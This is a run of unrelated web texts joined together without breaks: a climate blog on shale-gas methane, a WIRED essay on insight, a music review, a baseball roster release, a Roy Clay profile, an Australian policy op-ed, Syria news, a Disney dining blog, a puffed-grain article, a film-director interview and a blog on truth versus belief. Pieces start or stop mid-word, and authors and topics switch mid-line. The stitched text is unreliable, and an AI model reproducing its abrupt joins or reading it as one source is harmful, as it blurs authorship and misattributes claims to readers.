There are indirect effects from methane emissions because it is chemically reactive in the atmosphere. It contributes to increases in tropospheric ozone and stratospheric water vapour (increasing the warming impact), and by changing the oxidising capacity of the atmosphere, affects it’s own lifetime, and that of SO2 and NOx – which in turn affects aerosol formation, and indeed aerosol-cloud interactions. The IPCC (2007) report had acknowledged the potential for these indirect issues, but had not given any numbers. The Shindell et al paper was an attempt to fill that gap. As we discussed previously:
… we found that methane’s impacts increased even further since increasing methane lowers OH and so slows the formation of sulphate aerosol and, since sulphates are cooling, having less of them is an additional warming effect. This leads to an increase in the historical attribution to methane (by a small amount), but actually makes a much bigger difference to the GWP of methane (which increases to about 33 – though with large error bars).
For comparison, the GWP in IPCC (2007) was 25 – this is for a 100 year time frame. For shorter periods like 20 years, the relative increase in our numbers was somewhat higher (about 50%) over that given by in AR4.
Thus a combination of high fugitive emissions, and larger updated numbers for the impact of methane are the main components the Howarth conclusion, relating the impact of shale gas to coal. However, for an apples-to-apples life cycle comparison, one would need to also update the impacts of coal and oil to include their fugitive emissions, their impact on other short-lived components (black carbon, CO, etc). Thus, it’s not clear that the Howarth comparisons are exactly on a level playing field. Regardless, the uncertainties in some of these estimates are such that very clear conclusions are going to be elusive for some time to come.
A few further points are worth making. The estimates for fugitive emissions are uncertain because they are not being reported, either voluntarily by the industry or through regulation from the states. It is also worth stating that there is nothing inevitable about fugitive emissions. Better management (and/or regulation) can reduce these losses substantially (up to 90% in some situations) in very cost-effective ways (since lost methane is lost product in many cases).
Which brings me to the responses to this story. The industry website Energy in Depth was quick off the mark with a response that feigned surprise and shock that the emission estimates were uncertain (somewhat hypocritically since it is the same industry that has resisted almost any improvement in reporting standards). They also try to imply that the Shindell et al study was somehow suspect because it was different to the earlier IPCC GWP numbers, without any apparent interest or knowledge of why that was. Again, the industry would be better advised to deal with fugitive emissions (which also impact air pollution) rather than attacking inconvenient science. (Funnier still are the contrarian responses, for instance from “Bishop Hill” who completely agrees with the industry (again without any actual knowledge of the issues), and who can’t resist using their criticism of Howarth to condemn a whole University (and by proxy, the whole scientific enterprise). I mean, why bother with independent scientists when the industry can tell you exactly what you are supposed to think?).
Another frequent framing is the false dichotomy. Apparently, natural gas must either be perfect solve-all or worse than useless (see for instance, Keith Kloor’s take). One would think that the overwhelming consensus that there are no panaceas for decarbonising our energy supply might have at least started to make a little impact on the media. Any real policy initiative will have complex effects, and while scientists can certainly help quantify them, nothing at the scale we require is going to be completely neutral in all particulars – and the media should stop expecting it to be so. Since there will always be people who can be portrayed as having taken a black/white position on some issue, it is all too easy to frame any new result as undermining some over-optimistic idealist, which unfortunately buries the conversation related to the nuances of real issues.
Howarth et al is unlikely to be the last word on this subject, but it does highlight the need for more of this kind of research, and for further quantification of these emissions and their effects. For anyone interested in the larger issues of time-scales and the implications of combining emissions of short-lived and long-lived species in assessing impacts, I recommend reading the latest UNEP report on Black Carbon and Tropospheric Ozone mitigation (at least the summary). Another relevant read is the post by Ray Pierrehumbert on the same issue. This is not just an issue for fracking, but rather something that is far more general and affects almost all emitting activities.The Project Twins
This article was first published in the May 2016 issue of WIRED magazine. Be the first to read WIRED's articles in print before they're posted online, and get your hands on loads of additional content by subscribing online.
Consider these three words: pine, crab, sauce. Name a single word that will combine with each of them to make a compound word or familiar phrase. Take a moment to think about this, and then continue reading.
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The solution is apple (pineapple, crabapple, apple sauce). The interesting thing about this type of puzzle is that, like many real-world problems, it can be solved in more than one way. For instance, you can solve it by trying out various possibilities. What goes with pine? Tree goes with pine. Tree also goes with crab, but it doesn't go with sauce. How about cone? And so forth. Cognitive psychologists call this kind of linear thought "analysis".
You can also solve this with a eureka moment. When this happens, the solution - apple - pops into your awareness, seemingly from nowhere. Cognitive psychologists call this "insight". These ideas often burst into consciousness at unpredictable times.
Read next Gallery: The winning formula: data analytics has become the latest tool keeping football teams one step ahead Gallery: The winning formula: data analytics has become the latest tool keeping football teams one step ahead
Over the years, my co-author Mark Beeman and I have tested hundreds of people with these and other kinds of puzzles for various research studies. Almost everybody solves some of them analytically and some insightfully. However, many people tend towards one or the other of these styles of thought. We call these people "insightfuls" and "analysts".
Though many problems can be solved in either way, some are better suited to one or the other. You'd be wasting your time if you waited for a eureka moment to provide you with the sum of ten six-digit numbers. And there is no methodical step-by-step recipe for writing a brilliant novel.
If you are insightful or an analyst, there are quirks that come with this turf. The brains of insightfuls have somewhat reduced frontal-lobe activity compared to analysts'. The brain's frontal lobe focuses attention and organises thought and behaviour in the service of goals. The slightly reduced focus of insightfuls allows their minds to wander far afield and make connections among ideas that initially seem unrelated, hence their creativity. But this means that they can be less organised than analysts, who are more likely to stay on point and get the job done in a timely manner.
We also found that analysts and insightfuls make different mistakes. We give our participants a deadline for solving each problem. Analysts work through problems in a conscious, methodical way. So if they haven't found the solution, to avoid missing the deadline, they offer the idea that they were considering at that time. Sometimes it's correct, but often it's wrong. But when an insightful is faced with a deadline, they can't make a last-minute guess because they haven't had an eureka moment yet. They draw a blank and let the deadline pass.
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Because you can monitor and evaluate your analytical thinking, you can tap it any time to propose an idea. This is reassuring and dependable, although the results may not be your most innovative. Insights are generated by unconscious thought processes that aren't available until you've had your epiphany. You have to wait for them. This can be stressful for insightfuls because they don't know if an insight will arrive in time.
Getting the best result often involves alternating between the insightful mode, to generate ideas, and the analytic mode, to critique and refine them. But analysis blocks nascent insights from breaking through to awareness so, if you are an analyst, plan on scheduling plenty of time to transition into the creative mode before reverting to your analytical state. This involves achieving an open, relaxed mind with a loose agenda and no time pressure. And if you are an insightful - once you've accumulated some interesting ideas - focus. A deadline and background anxiety that comes with it are often enough to shift you into this state. Whether you are an insightful or an analyst, awareness of your basic cognitive style will help you to realise when to stick with your regular mode of thought and when a change of approach will maximise your effectiveness.
John Kounios is co-author, with Mark Beeman, of The Eureka Factor: Aha Moments, Creative Insights, and the Brain (Windmill)The seven-song cassette Ellerbee River Blues marks the debut of Durham instrumentalist Nathan Golub, but he's been collecting the skills that shape this set for more than a decade. A longtime sideman in various rock bands and a pedal steel player in John Howie Jr.'s The Rosewood Bluff, Golub steps to the fore here. His experience shines through the exquisite album's versatility, both technically and emotionally.
"Wedding Boots" is a rollick, electrics and acoustic dancing off of one another in a triumphant jig. But the home-recorded "Dunnagan's Loop" drifts through a solemn atmosphere, gentle percussion marking the space between sighing notes and staggering melodies. It's a worried look at a foggy dawn, a bit of anxious introspection set wonderfully to tape. Golub blurs those modes and moods for the album's eight-minute centerpiece, "Poison Quarter." It seems to slink with regret, a thorny electric melody wrapping around itself like vines. During the last third, though, a thin, light guitar line cuts through the underbrushfurtively, then cautiously and, at last, comfortably. It feels like a smile that took too long to form but is welcome, nevertheless.
GFR TapesMariners Announce Provisional 28-Man Opening Day Roster
MarinersPR Blocked Unblock Follow Following Mar 26, 2012
MARINERS ANNOUNCE PROVISIONAL 28-MAN OPENING DAY ROSTER
Final Roster not due to MLB until Wednesday, March 28.
TOKYO, Japan — Seattle Mariners Executive Vice President & General Manager Jack Zduriencik announced today the Mariners planned 28-man roster for the season opener in Japan.
FINAL ROSTERS ARE NOT DUE TO MAJOR LEAGUE BASEBALL UNTIL 1 PM ON WEDNESDAY, MARCH 28. The Mariners Opening Day roster will NOT be official until that time.
To move from 30 players (the travel roster to Japan) to 28 eligible players, the Mariners made the following roster moves:
OF Carlos Peguero, RHP Chance Ruffin were optioned to AAA Tacoma.
, RHP were optioned to AAA Tacoma. C Guillermo Quiroz was re-assigned to minor league camp.
To set the Opening Day roster, the Mariners made the following roster moves:
INF Munenori Kawasaki, RHP Kevin Millwood (still in Arizona) and RHP Erasmo Ramirez selected from Tacoma.
The Major League 40-man roster is now at 40 players.
To move from 28 players (the Opening Day Roster) to 25 eligible players, the Mariners made the following moves:
RHP Kevin Millwood, RHP Hisashi Iwakuma and RHP Hector Noesi designated as ineligible for the Japan Opening Series vs. the A’s.
Here is a look at the 28-man Opening Day roster (players in italics are not eligible for the first two games):
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Pitchers (11+3)49BEAVAN, BlakeRHP35DELABAR, SteveRHP34HERNANDEZ, FelixRHP18IWAKUMA, HisashiRHP23KELLEY, ShawnRHP43LEAGUE, BrandonRHP25MILLWOOD, KevinRHP45NOESI, HectorRHP50RAMIREZ, ErasmoRHP54WILHELMSEN, TomRHP41FURBUSH, CharlieLHP44LUETGE, LucasLHP52SHERRILL, GeorgeLHP38VARGAS, JasonLHPCatchers (3)27JASO, JohnC63MONTERO, JesusC30OLIVO, MiguelCInfielders (7)13ACKLEY, DustinINF9FIGGINS, ChoneINF61KAWASAKI, MunenoriINF16LIDDI, AlexINF26RYAN, BrendanINF15SEAGER, KyleINF17SMOAK, JustinINFOutfielders (4)20CARP, MikeOF55SAUNDERS, MichaelOF51SUZUKI, IchiroOF33WELLS, CasperOF
ITAL — Not eligible for first two games.AFRICANGLOBE – Many accomplishments of African Americans tend to be erased or buried by mainstream historians. On one hand, successful sports and entertainment figures are idolized as we celebrate our physical and artistic talents. On the other hand, our mental giants – scientific innovators, inventors and titans of business – are rendered invisible.
One of our great African American mental giants is often called the “Godfather of Silicon Valley.” Silicon Valley is the area in Northern California where the computer movement began and is home to most of the big names in the world of computers – Hewlett-Packard, Apple, Intel, Google and Twitter.
Roy L. Clay Sr. is the name of this African American star. In 1965, he created and headed the Hewlett-Packard computer division. It was the first computer company in the Silicon Valley.
In 1966, Roy and his team created the HP-2116, the world’s first mini-computer. The HP-2116 mini-computer was unlike any other computer in the world at that time. All other computers were huge machines that filled special rooms that had to be air-conditioned.
Roy’s mini-computer, which was about the size of a small, under-the-counter refrigerator, was designed to stand alone and survive “in the wild.” The first HP-2116 was purchased by Woods Hole Oceanographic Institute and was used aboard a research vessel where it was exposed to salt air and constant temperature changes. It operated successfully for more than 10 years.
Roy Clay built his reputation in the late 1950s when he worked for Lawrence Radiation Laboratory on the most advanced computers in the world. There he created a computer simulation program that showed how particles of radiation would be dispersed through the atmosphere after an atomic explosion.
On the basis of his reputation, Roy Clay was sought out and hired by David Packard, co-founder of Hewlett-Packard, who wanted to create a new computer that could stand alone and would also work with other instruments that HP built. Roy took the job and set up HP’s computer development business in an atmosphere that he felt would be conducive to creativity. His workers began the day by playing golf together at daybreak and filtered into HP around 9 a.m. They stayed at work until their work was done.
Bill Hewlett, HP’s other founder, was not pleased with Roy’s methods. “That’s not the HP way,” Hewlett told Clay. HP employees were expected to arrive at 7:45 a.m., take coffee between 9:35 and 9:45, begin a one-hour lunch break at 11:45, take a second 10-minute coffee break at 2:35 and leave at 4:30 p.m. Hewlett swallowed his objection, however, when he found Roy and his workers still in the office at 10:00 p.m.
Roy also proved to be very valuable to what became the premier venture-capital firm in the world, Kleiner Perkins Caulfield and Byers. He was selected as the consultant who advised the company on which computer start-ups they should fund. His guidance led to the initial funding of Intel, Compaq and Tandem, among many other Silicon Valley success stories.
Roy Clay’s young life was similar to the lives of many African Americans in the late 1940s and ‘50s. He was born in Kinloch, Missouri. It was the oldest African-American community incorporated in Missouri. He lived in a home with no indoor plumbing and a neighborhood with no streetlights and few paved roads. As in most American communities with an African American population that is separate from the White population, there was a tradition of police picking up Black boys like Clay if they wandered outside of Kinloch after dark.
“Everybody cared,” Clay said of his hometown. That was in keeping with the African American tradition of “it takes a village to raise a child.” He says that his first teacher “inspired me to do well. By the time I left that little school, I thought I could learn to do anything.”
He went on to graduate from Saint Louis University, where he majored in mathematics. With strong ambition and determination, Clay seized upon every opportunity that came his way. Through hard work, his superior intellect and a bit of luck, he eventually became the technological pioneer who earned the title of “Godfather of Silicon Valley.” Roy L. Clay Sr. was inducted into the Silicon Valley Engineering Council’s Hall of Fame in 2003.
Despite his many achievements, Roy L. Clay remains humble. He states, “I started the HP computer company coming from Kinloch, Missouri. What I could do, many other people could do. I didn’t see myself as a special person,” Clay says. “Sometimes the breaks didn’t come to get [some people] through. I had that break. I grasped the opportunity to break through.”
As the true entrepreneur, Roy Clay went on to form his own company, Rod-L Electronics. There he invented the first electronic equipment safety testing device to be certified by Underwriters Laboratory (UL). In the mid-1970s, Clay discovered that Underwriters Laboratories was going to require an electrical safety test on electrical products to ensure that they wouldn’t shock or cause a fire. He reached out to HP, IBM, AT&T and Xerox. Each became his business partner. His ROD-L tester was placed at the end of each company’s computer production line.
For many years, computers had to have the ROD-L sticker on the back to show that they were certified by UL. According to Clay, “If it didn’t have Rod-L on that rear panel, it meant it was not a real IBM computer.” His tester is still the standard today.
In 1973 Clay became the first African American to serve as councilman for the city of Palo Alto, California, which is home to Stanford University as well as Hewlett-Packard. He also served the city as vice-mayor.
His activist spirit was aroused by a Richard Nixon-era policy proposal of “benign neglect,” which aimed to withhold resources from urban African American neighborhoods. In response, he helped organize networking events for Black technology workers. His philosophy was, “The way to get through [benign neglect] is to get African Americans in positions to do things so we can get others in positions to do things.”
That is a philosophy that would serve the entire African American population in our efforts to rebuild and revitalize our communities. Thank you, Roy L. Clay, for your highly respected contributions to the world of technology.
By; Andrew BozemanThe second industry policy is the abolition of "corporate welfare" - at least where blue-collar workers are concerned - and this has produced rapid results. Three of the world's largest corporations have voted with their feet even though midway through last year two of them were on the verge of investing a combined $1.5 billion in their local operations. The closing down of the car industry will cost Australia, over the next three years, about 45,000 direct jobs and a large proportion of the 200,000 indirect jobs that partly depend on the industry. That's a big handicap for any government to make up before it can claim to have grown the economy in any significant way in its first term. Now the Abbott government has to decide whether to intervene or let laissez-faire economics take its course. The prerequisites for the latter are already in place: there are no goals, no vision for what the Australian economy should look like in 10, 15 or 20 years.
The only settings we see at present appear to be lower living standards for workers through the reduction of working conditions and, where possible, wages, less regulation for companies, more power (sorry, "flexibility") to employers and no restrictions on trade or dumping or price gouging, as practised by many multinational companies in Australia. It's hardly an agenda to give solace to the nation's workers. If this is all we are going to get, it seems Australia is destined to continue descending the industrialisation ladder. With no government intervention, Australia could possibly end up somewhere that would be recognisable to students in Economics 101. What they are taught is that countries should focus on what they do best and let others do the rest. Which is all well and good, except that this looks suspiciously like putting all your eggs in one basket. The example most often given is that of a Pacific island. It has plenty of coconuts, so it should make copra and import everything else. Except that it doesn't earn enough from copra exports to import everything else, so the standard of living remains low.
In the case of Australia, also a Pacific island, our advantages would appear to lie in agriculture and mining. We may well be good at agriculture (although Woolworths and Coles can get it cheaper elsewhere), but is it wise to base the future on crops and cattle when you live on the driest continent in the world, the continent that is going to suffer most from climate change? And mining is no great saviour of the economy. First off, it is mostly foreign owned, so the bulk of the spoils flow offshore. Second, it is the most highly capital intensive industry on the planet and, therefore, offers even fewer jobs than robotised car factories. What is required is an industry policy, a framework of legislation that encourages, nurtures and, yes, even protects industries so they get established and build momentum. This needs to be firmly directed by ministers, not left to bureaucrats.
In recent years we have been treated to the immensely frustrating scenario wherein a cheap and successful automotive industry policy - the cheapest of any automotive assistance policy in the world per capita - was repeatedly undermined by laissez-faire economists in the bureaucracy. Let's face it. What is the point of assisting the car-makers with $6 billion over 10 years when another department is cutting tariffs to zero, regardless of how strong or weak the currency is. Zero tariffs were fine for the car industry when the Australian dollar was at US55¢, but the Rudd/Gillard government failed to do anything when the currency soared to parity and beyond, effectively giving the importers up to a 65 per cent subsidy to help put local manufacturers out of business. The Abbott government finished off the execution with its disgraceful depiction of the car-makers as rent seekers. And who should take responsibility for the series of "free trade" agreements signed in recent years, deals that laid open the Australian market while bringing no new export opportunities?
Manufacturing will continue to unwind unless the Abbott government acts in Australia's best interest. It has to act like all the governments of south-east Asia, Europe and the Americas and start by asking: "What is in this for Australia?" We have been shaken down time after time by other countries only too happy to grab our market while not sharing theirs. Perhaps the biggest danger on this level is the Trans-Pacific Partnership, a proposed trade deal so disruptive that the government will not publish any of the proposals being pushed by corporatist America and others. Laissez-faire economic battles are won by the biggest companies, the strongest countries. Loading
A smaller country with a population of 23 million has to use legislation and policy to tilt the playing field. Otherwise it will just be trampled. Ian Porter is a freelance writer and a former business editor of The Age.The Syrian National Coalition said in a statement it wanted the inspectors to go first to the town of Khan al-Assal, where an attack with chemical weapons was reported on March 19.
The announcement came after the UN team, led by Swedish expert Ake Sellstrom, reached an agreement with Syrian President Bashar al-Assad's government to enter the country.
The coalition said it had sent a letter to UN Secretary General Ban Ki-moon to reaffirm "its offer of full cooperation with the investigation team, particularly in assuring their unfettered access into liberated areas.
"As the Free Syrian Army has recently liberated the Khan al-Assal area, we urge the UN team to begin its investigation in this area and hope to welcome their arrival without any further delays," it added.
UN inspectors are expected to go to Syria as early as next week to carry out inspections at three sites where chemical weapons attacks have been reported.
The United Nations says Khan al-Assal, which is near the key city of Aleppo, is one of the three places where the Syrian government has agreed to allow inspections.
It has said the other two sites are being kept confidential for safety reasons.
The Syrian government and the opposition blame each other for the Khan al-Assal attack.The website has been neglecting Magic Kingdom with all of the additions and changes happening elsewhere over the last few weeks, so we will take a moment to check in on recent happenings. As I’ve pointed out before, Magic Kingdom’s lack of new additions may benefit your visit to the Park more than the addition of a new headlining experience. With most casual vacationers looking to spend a second day at Epcot for Frozen Ever After/New Soaring/Royal Sommerhus, potentially adding a second night at Hollywood Studios in order to see both the Galactic Spectacular and Fantasmic, and at least seven people staying late at Animal Kingdom for Jungle Book: Awaken the Animals on Kilimanjaro Safaris Please I’ll Do Anything, that just means fewer people clogging up the walkways and queues at Magic Kingdom.
And the good news keeps rolling in as our favorite sign is back at the monorail station protecting many of us from irreparable injury. It’s full steam ahead on major road expansions around property, but once that’s complete, we should see significant changes arrive at Magic Kingdom’s entrance. Circle 2042 on your calendar. It’s shaping up to be a choice year.
We’re less than a week away from the Independence Day holiday, which means Disney has gone all out with the decorations across property or added some bunting on the train station railing. I’ll let you guess which.
Over the first four weeks in June, crowds have been shockingly weak. I’ve been working on a new song for the website’s debut album titled, “Where Have All The Tourists Gone” loosely based on this Paula Cole jam.
You might remember that Disney went to an all-day menu at Tony’s Town Square Restaurant. And for some reason, $26 defrosted Chicken Parmesans don’t sell like they used to, causing Disney to try to bundle a 3-course fixed price meal along with a guaranteed spot for Main Street Electrical Parade. Just in case you haven’t had an opportunity to catch that show sometime since it debuted 44 years ago.
More information is available here: https://disneyparks.disney.go.com/blog/2016/06/reservations-open-tomorrow-for-new-dining-package-at-tonys-town-square-restaurant-at-magic-kingdompark/. I would mention that the package, which is available only during lunch hours, may be a good value on the Disney Dining Plan as it costs $45 out of pocket and also includes an appetizer, in addition to the Electrical Parade viewing. For one table service credit, that’s a decent value. Tony’s also serves the same “New York Strip Steak” as every other single-credit restaurant on property and there is some value if your in-laws are forcing you to eat here and you order some of the more expensive items. With the $16 Assorted Meats and Cheeses appetizer, $34 Steak, and $8 Cannoli, you would have spent $58 or 28.9% more than the package costs. Of course, you would have also eaten at Tony’s Town Square Restaurant.
Tomorrowland Terrace is the name of the seasonal quick service located in…wait for it…Tomorrowland. Basically, whenever it’s open for more than three days in a row, Disney completely overhauls the menu, almost always for the worse.
This is the previous menu:
I am not sure what the equivalent of “faking sick” is when your occupation is being a celebrity Disney blogger, but you might say that I “went out for cigarettes” the last time the menu changed. And I haven’t been back to Magic Kingdom since.
The menu looks to see some enhancements, at least in description – A Pretzel Bun on the burger, four choices on dipping sauce on the chicken strips, and at least an implication that the chicken sandwich will be decent.
The Pulled Pork Banh Mi sounds like a disaster waiting to happen, but the pretzel bun on the Smoked Sausage sounds like a game-changer. And there is a salad.
The Tres Leches Cake and Brownie are all-new and this is perhaps the only location that serves Chicken Strips in place of the usual nug |
uffed grain was found in west central New Mexico in 1948 and 1950. Ears of popcorn were found that were up to 4,000 years old. These pieces of puffed grain were smaller than a penny to two inches in size and can be made in a similar way to popping popcorn.[2] The modern process of making puffed grains was invented by Dr. Alexander P. Anderson in 1901. He was doing an experiment dealing with the effect of heat and pressure on corn starch granules where he put them in six glass tubes, sealed them, and put them in an oven until they changed color. When Dr. Anderson took them out and cracked them open an explosion happened, he had made the corn starch turn into a puffed, white mass.[3] Dr. Alexander's invention of puffed grain was first introduced at the World's Fair in St. Louis in 1904. The puffed grain was shot from a battery of eight guns and on a poster it was called “The Eighth Wonder of the World.”
Manufacture [ edit ]
Puffed grain machine in Haikou, Hainan, China. Sometimes called a "popcorn hammer"
High pressure puffed grain is created by placing whole grains under high pressure with steam in a containment vessel. When the vessel's seal is suddenly broken, the entrained steam then flashes and bloats the endosperm of the kernel, increasing its volume to many times its original size.
Video showing process using large corn kernels in a roadside machine in Haikou, Hainan, China.
Puffed rice or other grains are occasionally found as street food in China, Korea (called "ppeong twigi" 뻥튀기), and Japan (called "pon gashi" ポン菓子), where hawkers implement the puffing process using an integrated pushcart/puffer featuring a rotating steel pressure chamber heated over an open flame. The great booming sound produced by the release of pressure serves as advertising.
Manufacturing puffed grain by venting a pressure chamber is essentially a batch process. To achieve large-scale efficiencies, continuous-process equipment has been developed whereby the pre-cooked cereal is injected into a high pressure steam chamber. It then exits the steam chamber via a Venturi tube to an expansion chamber, where the puffed cereal is collected and conveyed to the next process step. These devices, generally called stream puffing machines, were perfected in the latter half of the 20th century in Switzerland and Italy, but are now available from manufacturers in China as well.
Puffable foods [ edit ]
Puffed wheat
Popcorn (left) and popped sorghum (right)
Cereals [ edit ]
Barley – Is grown in North and South Dakota, Utah, Oregon, Idaho, Canada, and parts of the Sahara Desert. [4]
Kamut – This is a brand name for an ancient heritage grain called khorasan wheat.
Maize/corn (as popcorn) – Starchy grain native to the Americas [5]
Millet – This name refers to several different annual summer grasses used for hay, pasture, silage, and grain. Millet is most commonly grown in Kentucky in the U.S. [6]
Oat – Can and are grown in every continental state of the U.S. Overwintering kinds of oats are grown in the Cotton Belt and in western parts of the U.S. [7]
Rice – Grown in more than 100 countries, but about 90% is grown in Asia. Other major producers are Sub-Saharan Africa and Latin America. Puffed rice is an ingredient of bhel puri, a popular Indian chaat (snack). It is offered to Hindu gods and goddesses in all poojas in the South Indian states of Kerala and Tamil Nadu. Puffed rice has been made in India for centuries. [8]
Sorghum – In the U.S., most commonly grown in the dry plains of Texas and South Dakota. Also grown in parts of Africa and Asia where it is too hot for corn. [9]
Spelt – Has been grown in Europe and the Middle East for millennia and was introduced to the U.S. in the late 1800s. Most of the spelt grown in the U.S. comes from Ohio. [10]
Wheat – Biggest producing countries are China, Russia, U.S., India, and Canada.[11]
Amaranth – Has been grown in Mexico, Central America, India, Nepal, China, East Africa, and the U.S. for the past two centuries. [12]
Buckwheat – Russia has the largest amount being grown, but it can also be planted in the northern plains of the U.S. [13]
Makhana – Grown in India, Korea, Japan, and China. 63% comes from the Bihar wetlands.
Nuña Beans – The nuña is an Andean subspecies of the common bean, Phaseolus vulgaris subsp. nunas, with round, multicolored seeds that resemble pigeon eggs. When cooked on high heat, the bean explodes, exposing the inner part, in the manner of popcorn and other puffed grains.
, with round, multicolored seeds that resemble pigeon eggs. When cooked on high heat, the bean explodes, exposing the inner part, in the manner of popcorn and other puffed grains. Quinoa – Currently being grown mainly in the U.S., Canada, and South America but can be almost anywhere. [14]
Soybeans – For the U.S. it is mainly grown in the Midwest and the main producing countries are Brazil, Argentina, China, India, Paraguay, Canada, and Italy.[15]
Examples [ edit ]
Puffed grain foods [ edit ]
Snacks and food products made from puffed grain include:
Puffed dough foods [ edit ]
References [ edit ]
^ "Puffed Rice Nutrition." LIVESTRONG.COM. N.p., n.d. Web. 08 Apr. 2013. ^ "History of Popcorn." History of Popcorn. N.p., n.d. Web. 08 Apr. 2013. ^ "Dr. Alexander P. Anderson - 1982 Inductee." Minnesota Inventors Hall of Fame -. N.p., n.d. Web. 08 Apr. 2013. ^ "Barley (x Elyhordeum Mansf. Ex Zizin & Petrowa)." Forage Fact Sheet: Barley. N.p., n.d. Web. 08 Apr. 2013. ^ "Popcorn." Popcorn. N.p., n.d. Web. 08 Apr. 2013. ^ "How to Grow Millet | Guide to Growing Millet." How to Grow Millet | Guide to Growing Millet. N.p., n.d. Web. 08 Apr. 2013. ^ "Oats." Oats. N.p., n.d. Web. 08 Apr. 2013. ^ "Rice Production and Processing." irri.org. N.p., n.d. Web. 8 Apr. 2013. ^ "Grain Sorghum (Milo)." Grain Sorghum (Milo). N.p., n.d. Web. 08 Apr. 2013. ^ "Spelt." Spelt. N.p., n.d. Web. 08 Apr. 2013 ^ "Where Wheat Grown." ThinkQuest. Oracle Foundation, n.d. Web. 08 Apr. 2013. ^ "Amaranth." Amaranth. N.p., n.d. Web. 08 Apr. 2013. ^ "Growing Buckwheat: Production Tips, Economics, and More." Growing Buckwheat: Production Tips, Economics, and More. N.p., n.d. Web. 08 Apr. 2013. ^ "Quinoa - All About Grains." Quinoa - All About Grains. N.p., n.d. Web. 08 Apr. 2013. ^ "Related Links." Soybeans. N.p., n.d. Web. 08 Apr. 2013.Melbourne: Criticising Bollywood`s craze for Oscars, award-winning Australian filmmaker Paul Cox has described Indian films as a celebration of total madness with elements of fun, fantasy and innocence.
"Bollywood has a sense of fun, fantasy and also an element of innocence. It is a celebration of total madness. I would prefer a Bollywood film to a Hollywood one," said Cox, who is shooting his next film in Kerala with Shahana Goswami and Seema Biswas next year.
The 73-year-old director said Bollywood should ignore the American dream of winning an Oscar.
"It is nothing but the America`s way to make money. Do you think they would like to see Bollywood a part of this? Oscars should be ignored by the rest of the world film industry including Bollywood. I do not understand this pathetic adulation about the American awards," he said.
"Bollywood has been imitating this mad example of American dream and it is now out of reach," said Cox, who admires the works of Satyajit Ray and Mrinal Sen.
Cox is well known for his humanistic oriented films and is a cancer survivor. His latest project is a film on organ transplantation ‘Force Of Destiny’, which will be shot in Kerala next year.
"It is a story about a person with liver cancer. During this journey he meets an Indian woman with whom he falls in love. It is about a sense of loss and also survival. In the end he receives a liver transplant," Cox said.When faced with the question, “Which is best, being right or the truth?“, the answer might appear to be obvious, most would suggest that “truth” is what they strive for, yet in the real world most also appear to have a rather strong bias towards being right as their top priority.
So what am I getting at?
Well, lets take a few examples from yesterday.
Case 1
On Facebook a chap who was, for some rather odd reason, listed among my list of “friends” (yes yes, I know, FB redefines that word, but that is a topic for another day) posted some 9/11 truther gibberish regarding a grand US centric conspiracy. If you are not sure why, well it was of course 9/11 yesterday. So anyway, I responded with a link to the article in Popular Mechanics that debunked the 9/11 myths. The response was predictable, one chap launches into a long list of daft claims. I then pointed out that most of what he was claiming was not factually correct and asked if he had any evidence for his claims. I’m advised “no”, because it has all been buried … er yes, well you can see where all this was going. Bottom line is that my “friend” sent a personal message to my inbox announcing …
The fact you believe BULLSHIT makes me de-friend and block you as I have no patience anymore for those who believe the OFFICIAL LIE STORY of 9/11/01!
Fine, no problem, he only wants to be friends with those who agree with daft conspiracy theories that have exactly zero credible evidence, but I’m not really sure why he bothered spending the time telling me this, just de-friending would be enough. Clearly he rather liked the idea of being right far more than the idea of coming to terms with the facts; his pet conspiracy theory has no evidence, so he gets the last word then blocks so that he does not have to face any rebuttal.
The curious thing here is that being right truly mattered for him. I was open to the idea of evidence – if indeed he could verify the claims being made then I’m happy to change my mind, and yet this is not reciprocated. Instead I’m faced with a conviction that he is right, no matter what, and a strong desire to simply shut out evidence-based criticism of the claim.
Damn the actual truth … and yet, who thinks to themselves, “I think I’ll believe something truly daft and embrace it as truth” Nobody, because from his viewpoint his position is the truth. So what is really going on here, why is it like this, why is he so willing to discard the prevailing consensus and ignore the actual evidence?
Case 2
My posting yesterday regarding Islamic child abuse, upset a few people. One chap commented …
David your spewing anti islamic fucking propaganda…with someone who always holds himself to established facts this is Bull shit. There is nothig in Islam that condones temporary marriage, there is clear prohibition. Every scum bag cock sucker who has a Muslim surname who does something abhorrent is not an ambassador for the faith. Get your shit straight….
To which I suggested …
If it is indeed simply ‘propaganda’ and not factual then it should be rather easy to refute with evidence.
Did he reply? Nope, he was simply blowing off a bit of steam, and does not appear to be interested in facts, so when the facts conflict with the belief, then obviously (in his mind) the facts are simply ‘propaganda’, because the belief must be right, so once again being right takes priority over the things that are actually true. So once again I ask myself, what is really going on here, why is it like this? Well lets look at one more example.
Case 3
Evolution is well-established, and yet despite that there is a constant stream of individuals who will assert it is a myth. I’m thinking of one specific individual in a FB group that consistently asserts it is a myth, has no evidence to offer for this position, and when presented with evidence, ignores it and repeats the assertion that it is a myth. It is not simply evolution, this same individual asserts that climate change is a myth, and that the supernatural is far more important than science for determining “truth”
So why is it like this?
How do we determine what is and is not factual?
For many things humans tend a absorb opinions, beliefs, and views on many things from our culture and those we come in contact with, and we generally do this without asking ourselves if this accepted “truth” is actually true. Once we have accepted a position we then start to emotionally invest in it, and as we invest more and more, we becomes entrenched … deep enough so that we become immune to conflicting information, and so when faced with such conflicts we will rationalize them away and so maintain the investment … in other words, such entrenchment is not reached through logic or evidence, it is instead an emotional commitment.
Thinking yourself out of such tight spots can at times be challenging, but it is possible for anybody to achieve.
If you are truly interested in finding out the things that are actually true, then deploying critical thinking can get you there. In fact, asking a few simple questions and being truly honest with questions such as …
Why do I believe X is true or not true, how did I come to that conclusion?
What objective evidence exists to support that position?
Am I truly open to the idea of changing my mind if the evidence justifies doing so?
Start deploying such questions whenever a claim is presented and over time you will develop a well-honed bullshit detector. So when it comes to finding out the things that are actually true, well that’s a damn fine start.
